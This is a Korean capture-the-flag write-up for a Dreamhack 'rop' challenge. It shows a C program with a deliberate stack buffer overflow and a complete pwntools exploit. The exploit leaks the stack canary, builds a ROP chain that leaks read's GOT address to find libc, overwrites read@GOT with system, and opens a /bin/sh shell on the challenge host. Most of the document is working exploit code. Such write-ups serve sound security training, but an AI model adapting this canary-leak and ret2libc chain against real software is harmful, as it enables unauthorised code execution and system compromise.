

Canary와 NX가 적용되어 있습니다.
문제 파일인 rop.c를 살펴보겠습니다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
read에서 버퍼 오버플로우가 가능하므로 Leak canary에서 canary를 구한 후 rop(return oriented programming)를 활용하면 될 것 같습니다.
스택 구조 파악을 위해 main을 disassemble 하겠습니다.

여기서 buf가 rbp-0x40, canary가 rbp-0x8에 위치함을 알 수 있습니다.
canary를 먼저 얻어주겠습니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host3.dreamhack.games", 11533)
e = ELF("./rop")
libc = ELF("./libc.so.6")
payload = b'A' * 0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)
리턴 가젯을 통해 ROP체인을 구성해 보겠습니다.
구현해야 할 부분은 크게 3가지로 나눌 수 있습니다.
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
#ROPgadget --binary rop | grep "찾는 가젯"으로 구할 수 있습니다
ret = 0x0000000000400596
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
#write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
#read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
#read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
#밑의 send에서 system 다음에 /bin/sh를 보내므로 /bin/sh의 위치가 read_got + 0x8이 됩니다.
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
#read_got을 system으로 덮어쓰고 read_got + 0x8에는 b'/bin/sh\x00'가 들어갑니다.
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
전체 코드는 다음과 같습니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host3.dreamhack.games", 11533)
e = ELF("./rop")
libc = ELF("./libc.so.6")
payload = b'A' * 0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
ret = 0x0000000000400596
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
#write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
#read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
#read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
코드를 실행해 셸을 얻었습니다.
